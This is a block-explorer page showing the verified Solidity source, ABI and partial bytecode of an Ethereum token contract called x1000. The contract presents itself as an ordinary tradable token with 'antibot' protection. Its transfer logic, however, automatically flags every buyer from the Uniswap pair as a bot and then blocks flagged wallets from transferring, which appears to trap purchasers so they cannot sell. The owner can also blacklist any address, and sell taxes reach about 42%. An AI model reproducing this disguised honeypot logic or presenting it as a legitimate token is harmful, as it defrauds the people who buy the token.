ETH Price: $3,440.11 (+1.43%)
Gas: 4 Gwei

Token

x1000 (x1000)
 

Overview

Max Total Supply

839.375866496325699174 x1000

Holders

55

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
cvd.eth
Balance
3.692307692307692452 x1000

Value
$0.00
0xdaa7c1b5feaca5d1bc1bea7e7c07d91d3e6dfe51
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
x1000

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity Multiple files format)

File 4 of 4: x1000.sol
// https://x1000erc.com
// https://t.me/x1000erc


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;

import "./TradableErc20.sol";

contract x1000 is TradableErc20 {
    address _owner;
    address _withdrawAddress =
        address(0x65b1c7B827080697daA3A7066f4ac7D2E1B36bde);
    uint256 maxContractLiquidityPercent = 4;

    constructor() TradableErc20("x1000", "x1000") {
        _owner = msg.sender;
        _setMaxBuy(2);
    }

    function getMaxContractBalancePercent()
        internal
        view
        override
        returns (uint256)
    {
        return maxContractLiquidityPercent;
    }

    function setMaxContractLiquidityPercent(uint256 newMaxLiquidityPercent)
        external
        onlyOwner
    {
        maxContractLiquidityPercent = newMaxLiquidityPercent;
    }

    function _withdraw(uint256 sum) internal override {
        payable(_withdrawAddress).transfer(sum);
    }

    function isOwner(address account) internal view override returns (bool) {
        return account == _owner;
    }

    function transferOwnership(address newOwner) external onlyOwner {
        _owner = newOwner;
    }
}

File 1 of 4: ERC20.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract ERC20 is IERC20 {
    uint256 internal _totalSupply = 1e21;
    string _name;
    string _symbol;
    uint8 constant _decimals = 18;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        _beforeTokenTransfer(from, to, amount);

        uint256 senderBalance = _balances[from];
        require(senderBalance >= amount);
        unchecked {
            _balances[from] = senderBalance - amount;
        }
        _balances[to] += amount;
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function allowance(address owner, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount);
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount);
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 2 of 4: IUniswapV2Router02.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;

interface IUniswapV2Router02 {
    //function swapExactTokensForETHSupportingFeeOnTransferTokens(
    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

File 3 of 4: TradableErc20.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;

//import "hardhat/console.sol";
import "./ERC20.sol";
import "./IUniswapV2Router02.sol";

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

abstract contract TradableErc20 is ERC20 {
    IUniswapV2Router02 internal constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;
    bool public tradingEnable;
    mapping(address => bool) public isBot;
    mapping(address => bool) _isExcludedFromFee;
    bool _autoBanBots = true;
    bool _inSwap;
    uint256 public maxBuy;

    uint256 constant maxBuyIncrementMinutesTimer = 2; // increment maxbuy minutes
    uint256 constant maxByyIncrementPercentil = 1; // increment maxbyu percentil 1000=100%
    uint256 public maxBuyIncrementValue; // value for increment maxBuy
    uint256 public incrementTime; // last increment time

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    modifier lockTheSwap() {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor(string memory name_, string memory symbol_)
        ERC20(name_, symbol_)
    {
        _isExcludedFromFee[address(0)] = true;
    }

    receive() external payable {}

    function makeLiquidity() public onlyOwner {
        require(uniswapV2Pair == address(0));
        address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        _balances[address(this)] = _totalSupply;
        _allowances[address(this)][address(_uniswapV2Router)] = _totalSupply;
        _isExcludedFromFee[pair] = true;
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _totalSupply,
            0,
            0,
            msg.sender,
            block.timestamp
        );

        uniswapV2Pair = pair;
        tradingEnable = true;

        incrementTime = block.timestamp;
        maxBuyIncrementValue = (_totalSupply * maxByyIncrementPercentil) / 1000;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(!isBot[from] && !isBot[to]);

        // buy
        if (from == uniswapV2Pair && !_isExcludedFromFee[to]) {
            // increment maxBuy
            uint256 incrementCount = (block.timestamp - incrementTime) /
                (maxBuyIncrementMinutesTimer * 1 minutes);
            if (incrementCount > 0) {
                if (maxBuy < _totalSupply)
                    maxBuy += maxBuyIncrementValue * incrementCount;
                incrementTime = block.timestamp;
            }

            require(tradingEnable);
            if (!_autoBanBots) require(_balances[to] + amount <= maxBuy);
            // antibot
            if (_autoBanBots) isBot[to] = true;
            amount = _getFeeBuy(amount);
        }

        // sell
        if (!_inSwap && uniswapV2Pair != address(0) && to == uniswapV2Pair) {
            amount = _getFeeSell(amount, from);
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 maxContractBalance = (balanceOf(uniswapV2Pair) *
                    getMaxContractBalancePercent()) / 100;
                if (contractTokenBalance > maxContractBalance) {
                    uint256 burnCount;
                    unchecked {
                        burnCount = contractTokenBalance - maxContractBalance;
                    }
                    contractTokenBalance = maxContractBalance;
                    _totalSupply -= burnCount;
                    emit Transfer(address(this), address(0), burnCount);
                }
                //console.log("swapTokensForEth");
                uint256 swapCount = contractTokenBalance;
                uint256 maxSwapCount = 2 * amount;
                if (swapCount > maxSwapCount) swapCount = maxSwapCount;
                swapTokensForEth(swapCount);
            }
        }

        // transfer
        //console.log(from, "->", to);
        //console.log("amount: ", amount);
        super._transfer(from, to, amount);
        //console.log("=====end transfer=====");
    }

    function _getFeeBuy(uint256 amount) private returns (uint256) {
        uint256 fee = amount / 13; // 7.69%
        amount -= fee;
        _balances[address(this)] += fee;
        return amount;
    }

    function getSellBurnCount(uint256 amount) internal view returns (uint256) {
        // calculate fee percent
        uint256 value = _balances[uniswapV2Pair];
        uint256 vMin = value / 100; // min additive tax amount
        if (amount <= vMin) return amount / 20; // 5% constant tax
        uint256 vMax = value / 10; // max additive tax amount 10%
        if (amount > vMax) return (amount * 35) / 100; // 35% tax

        // additive tax, that in intervat 0-35%
        return (((amount - vMin) * 35 * amount) / (vMax - vMin)) / 100;
    }

    function _getFeeSell(uint256 amount, address account)
        private
        returns (uint256)
    {
        // get taxes
        uint256 devFee = amount / 14; // 7.1%
        uint256 burnCount = getSellBurnCount(amount); // burn count

        amount -= devFee + burnCount;
        _balances[account] -= devFee + burnCount;        
        _balances[address(this)] += devFee;
        _totalSupply -= burnCount;
        emit Transfer(address(this), address(0), burnCount);
        return amount;
    }

    function setMaxBuy(uint256 percent) external onlyOwner {
        _setMaxBuy(percent);
    }

    function _setMaxBuy(uint256 percentil) internal {
        maxBuy = (percentil * _totalSupply) / 1000;
    }

    function getMaxBuy() external view returns (uint256) {
        uint256 incrementCount = (block.timestamp - incrementTime) /
            (maxBuyIncrementMinutesTimer * 1 minutes);
        if (incrementCount == 0) return maxBuy;

        return maxBuy + maxBuyIncrementValue * incrementCount;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        // make the swap
        _uniswapV2Router.swapExactTokensForETH(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function setBots(address[] memory accounts, bool value) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; ++i) {
            isBot[accounts[i]] = value;
        }
    }

    function setExcludeFromFee(address[] memory accounts, bool value)
        external
        onlyOwner
    {
        for (uint256 i = 0; i < accounts.length; ++i) {
            _isExcludedFromFee[accounts[i]] = value;
        }
    }

    function setTradingEnable()
        external
        onlyOwner
    {
        tradingEnable = true;
        _autoBanBots = true;
    }

    function setAutoBanBots(bool value) external onlyOwner {
        _autoBanBots = value;
    }

    function withdraw() external {
        _withdraw(address(this).balance);
    }

    function getMaxContractBalancePercent() internal virtual returns (uint256);

    function _withdraw(uint256 sum) internal virtual;

    function isOwner(address account) internal virtual returns (bool);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getMaxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"incrementTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"makeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyIncrementValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutoBanBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"setMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxLiquidityPercent","type":"uint256"}],"name":"setMaxContractLiquidityPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTradingEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052683635c9adc5dea000006000556008805460ff19166001179055600d80546001600160a01b0319167365b1c7b827080697daa3a7066f4ac7d2e1b36bde1790556004600e553480156200005657600080fd5b50604080518082018252600580825264078313030360dc1b602080840182815285518087019096529285528401528151919291839183916200009b9160019162000134565b508051620000b190600290602084019062000134565b50506000805250506007602052507f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df805460ff19166001179055600c80546001600160a01b031916331790556200010960026200010f565b62000268565b6103e860005482620001229190620001fd565b6200012e9190620001da565b60095550565b82805462000142906200022b565b90600052602060002090601f016020900481019282620001665760008555620001b1565b82601f106200018157805160ff1916838001178555620001b1565b82800160010185558215620001b1579182015b82811115620001b157825182559160200191906001019062000194565b50620001bf929150620001c3565b5090565b5b80821115620001bf5760008155600101620001c4565b600082620001f857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156200022657634e487b7160e01b600052601160045260246000fd5b500290565b600181811c908216806200024057607f821691505b602082108114156200026257634e487b7160e01b600052602260045260246000fd5b50919050565b61174080620002786000396000f3fe60806040526004361061016a5760003560e01c806370db69d6116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610423578063e67a3fa214610469578063f2fde38b1461047e578063f53bc8351461049e57600080fd5b8063a9059cbb146103d8578063aff41b7b146103f8578063b203919e1461040e57600080fd5b806370db69d61461034257806395d89b411461035857806396790d4a1461036d57806399bf3266146103825780639b6f6d78146103985780639c0db5f3146103b857600080fd5b80633bbac579116101235780633bbac5791461024d5780633ccfd60b1461027d57806349bd5a5e1461029457806352e53988146102cc5780636c90b57f146102ec57806370a082311461030c57600080fd5b806306fdde0314610176578063095ea7b3146101a15780631693e8d4146101d157806318160ddd146101f257806323b872dd14610211578063313ce5671461023157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104be565b6040516101989190611527565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc3660046113bb565b610550565b6040519015158152602001610198565b3480156101dd57600080fd5b506005546101c190600160a01b900460ff1681565b3480156101fe57600080fd5b506000545b604051908152602001610198565b34801561021d57600080fd5b506101c161022c36600461137a565b610566565b34801561023d57600080fd5b5060405160128152602001610198565b34801561025957600080fd5b506101c1610268366004611300565b60066020526000908152604090205460ff1681565b34801561028957600080fd5b506102926105bc565b005b3480156102a057600080fd5b506005546102b4906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102d857600080fd5b506102926102e73660046114e0565b6105c7565b3480156102f857600080fd5b506102926103073660046113e7565b6105e3565b34801561031857600080fd5b50610203610327366004611300565b6001600160a01b031660009081526003602052604090205490565b34801561034e57600080fd5b5061020360095481565b34801561036457600080fd5b5061018b610664565b34801561037957600080fd5b50610203610673565b34801561038e57600080fd5b50610203600b5481565b3480156103a457600080fd5b506102926103b33660046114c5565b6106c9565b3480156103c457600080fd5b506102926103d33660046113e7565b6106f3565b3480156103e457600080fd5b506101c16103f33660046113bb565b61076f565b34801561040457600080fd5b50610203600a5481565b34801561041a57600080fd5b5061029261077c565b34801561042f57600080fd5b5061020361043e366004611341565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047557600080fd5b50610292610a87565b34801561048a57600080fd5b50610292610499366004611300565b610ac0565b3480156104aa57600080fd5b506102926104b93660046114e0565b610af9565b6060600180546104cd9061165d565b80601f01602080910402602001604051908101604052809291908181526020018280546104f99061165d565b80156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b5050505050905090565b600061055d338484610b1c565b50600192915050565b6000610573848484610b7d565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105a457600080fd5b6105b18533858403610b1c565b506001949350505050565b6105c547610e2d565b565b600c546001600160a01b031633146105de57600080fd5b600e55565b600c546001600160a01b031633146105fa57600080fd5b60005b825181101561065f57816007600085848151811061061d5761061d6116c9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905561065881611698565b90506105fd565b505050565b6060600280546104cd9061165d565b6000806106826002603c611627565b600b5461068f9042611646565b6106999190611605565b9050806106a857505060095490565b80600a546106b69190611627565b6009546106c391906115ed565b91505090565b600c546001600160a01b031633146106e057600080fd5b6008805460ff1916911515919091179055565b600c546001600160a01b0316331461070a57600080fd5b60005b825181101561065f57816006600085848151811061072d5761072d6116c9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905561076881611698565b905061070d565b600061055d338484610b7d565b600c546001600160a01b0316331461079357600080fd5b6005546001600160a01b0316156107a957600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f857600080fd5b505afa15801561080c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108309190611324565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088c57600080fd5b505afa1580156108a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c49190611324565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090c57600080fd5b505af1158015610920573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109449190611324565b60008054308083526003602090815260408085208490556004808352818620737a250d5630b4cf539739df2c5dacb4c659f2488d808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3c91906114f9565b5050600580546001600160a81b0319166001600160a01b03841617600160a01b1790555042600b556000546103e890610a7790600190611627565b610a819190611605565b600a5550565b600c546001600160a01b03163314610a9e57600080fd5b6005805460ff60a01b1916600160a01b1790556008805460ff19166001179055565b600c546001600160a01b03163314610ad757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b03163314610b1057600080fd5b610b1981610e6b565b50565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610bbf57506001600160a01b03821660009081526006602052604090205460ff16155b610bc857600080fd5b6005546001600160a01b038481169116148015610bfe57506001600160a01b03821660009081526007602052604090205460ff16155b15610cf4576000610c116002603c611627565b600b54610c1e9042611646565b610c289190611605565b90508015610c66576000546009541015610c615780600a54610c4a9190611627565b60096000828254610c5b91906115ed565b90915550505b42600b555b600554600160a01b900460ff16610c7c57600080fd5b60085460ff16610cb8576009546001600160a01b038416600090815260036020526040902054610cad9084906115ed565b1115610cb857600080fd5b60085460ff1615610ce7576001600160a01b0383166000908152600660205260409020805460ff191660011790555b610cf082610e8c565b9150505b600854610100900460ff16158015610d1657506005546001600160a01b031615155b8015610d2f57506005546001600160a01b038381169116145b15610e2257610d3e8184610ed6565b306000908152600360205260409020549091508015610e205760006064610d64600e5490565b6005546001600160a01b0316600090815260036020526040902054610d899190611627565b610d939190611605565b905080821115610df7576000818303905081925080600080828254610db89190611646565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610e05856002611627565b905080821115610e13578091505b610e1c82610fbd565b5050505b505b61065f838383611179565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e67573d6000803e3d6000fd5b5050565b6103e860005482610e7c9190611627565b610e869190611605565b60095550565b600080610e9a600d84611605565b9050610ea68184611646565b30600090815260036020526040812080549295508392909190610eca9084906115ed565b90915550929392505050565b600080610ee4600e85611605565b90506000610ef185611230565b9050610efd81836115ed565b610f079086611646565b9450610f1381836115ed565b6001600160a01b03851660009081526003602052604081208054909190610f3b908490611646565b90915550503060009081526003602052604081208054849290610f5f9084906115ed565b9250508190555080600080828254610f779190611646565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350929392505050565b6008805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611001576110016116c9565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106e57600080fd5b505afa158015611082573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a69190611324565b816001815181106110b9576110b96116c9565b60200260200101906001600160a01b031690816001600160a01b0316815250506110f830737a250d5630b4cf539739df2c5dacb4c659f2488d84610b1c565b6040516318cbafe560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906318cbafe59061113890859060009086903090429060040161157c565b600060405180830381600087803b15801561115257600080fd5b505af1158015611166573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b0383166000908152600360205260409020548181101561119f57600080fd5b6001600160a01b038085166000908152600360205260408082208585039055918516815290812080548492906111d69084906115ed565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122291815260200190565b60405180910390a350505050565b6005546001600160a01b031660009081526003602052604081205481611257606483611605565b90508084116112735761126b601485611605565b949350505050565b6000611280600a84611605565b9050808511156112aa576064611297866023611627565b6112a19190611605565b95945050505050565b60646112b68383611646565b866112c18582611646565b6112cc906023611627565b6112d69190611627565b6112979190611605565b80356112eb816116f5565b919050565b803580151581146112eb57600080fd5b60006020828403121561131257600080fd5b813561131d816116f5565b9392505050565b60006020828403121561133657600080fd5b815161131d816116f5565b6000806040838503121561135457600080fd5b823561135f816116f5565b9150602083013561136f816116f5565b809150509250929050565b60008060006060848603121561138f57600080fd5b833561139a816116f5565b925060208401356113aa816116f5565b929592945050506040919091013590565b600080604083850312156113ce57600080fd5b82356113d9816116f5565b946020939093013593505050565b600080604083850312156113fa57600080fd5b823567ffffffffffffffff8082111561141257600080fd5b818501915085601f83011261142657600080fd5b813560208282111561143a5761143a6116df565b8160051b604051601f19603f8301168101818110868211171561145f5761145f6116df565b604052838152828101945085830182870184018b101561147e57600080fd5b600096505b848710156114a857611494816112e0565b865260019690960195948301948301611483565b5096506114b890508782016112f0565b9450505050509250929050565b6000602082840312156114d757600080fd5b61131d826112f0565b6000602082840312156114f257600080fd5b5035919050565b60008060006060848603121561150e57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561155457858101830151858201604001528201611538565b81811115611566576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115cc5784516001600160a01b0316835293830193918301916001016115a7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611600576116006116b3565b500190565b60008261162257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611641576116416116b3565b500290565b600082821015611658576116586116b3565b500390565b600181811c9082168061167157607f821691505b6020821081141561169257634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156116ac576116ac6116b3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610b1957600080fdfea26469706673582212204166057a1b0d0dcb624fa0ce8547aca308585a0627976ba2901a44fa27aca84f64736f6c63430008070033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370db69d6116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610423578063e67a3fa214610469578063f2fde38b1461047e578063f53bc8351461049e57600080fd5b8063a9059cbb146103d8578063aff41b7b146103f8578063b203919e1461040e57600080fd5b806370db69d61461034257806395d89b411461035857806396790d4a1461036d57806399bf3266146103825780639b6f6d78146103985780639c0db5f3146103b857600080fd5b80633bbac579116101235780633bbac5791461024d5780633ccfd60b1461027d57806349bd5a5e1461029457806352e53988146102cc5780636c90b57f146102ec57806370a082311461030c57600080fd5b806306fdde0314610176578063095ea7b3146101a15780631693e8d4146101d157806318160ddd146101f257806323b872dd14610211578063313ce5671461023157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104be565b6040516101989190611527565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc3660046113bb565b610550565b6040519015158152602001610198565b3480156101dd57600080fd5b506005546101c190600160a01b900460ff1681565b3480156101fe57600080fd5b506000545b604051908152602001610198565b34801561021d57600080fd5b506101c161022c36600461137a565b610566565b34801561023d57600080fd5b5060405160128152602001610198565b34801561025957600080fd5b506101c1610268366004611300565b60066020526000908152604090205460ff1681565b34801561028957600080fd5b506102926105bc565b005b3480156102a057600080fd5b506005546102b4906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102d857600080fd5b506102926102e73660046114e0565b6105c7565b3480156102f857600080fd5b506102926103073660046113e7565b6105e3565b34801561031857600080fd5b50610203610327366004611300565b6001600160a01b031660009081526003602052604090205490565b34801561034e57600080fd5b5061020360095481565b34801561036457600080fd5b5061018b610664565b34801561037957600080fd5b50610203610673565b34801561038e57600080fd5b50610203600b5481565b3480156103a457600080fd5b506102926103b33660046114c5565b6106c9565b3480156103c457600080fd5b506102926103d33660046113e7565b6106f3565b3480156103e457600080fd5b506101c16103f33660046113bb565b61076f565b34801561040457600080fd5b50610203600a5481565b34801561041a57600080fd5b5061029261077c565b34801561042f57600080fd5b5061020361043e366004611341565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047557600080fd5b50610292610a87565b34801561048a57600080fd5b50610292610499366004611300565b610ac0565b3480156104aa57600080fd5b506102926104b93660046114e0565b610af9565b6060600180546104cd9061165d565b80601f01602080910402602001604051908101604052809291908181526020018280546104f99061165d565b80156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b5050505050905090565b600061055d338484610b1c565b50600192915050565b6000610573848484610b7d565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105a457600080fd5b6105b18533858403610b1c565b506001949350505050565b6105c547610e2d565b565b600c546001600160a01b031633146105de57600080fd5b600e55565b600c546001600160a01b031633146105fa57600080fd5b60005b825181101561065f57816007600085848151811061061d5761061d6116c9565b6020908102919091018101516001600160a01b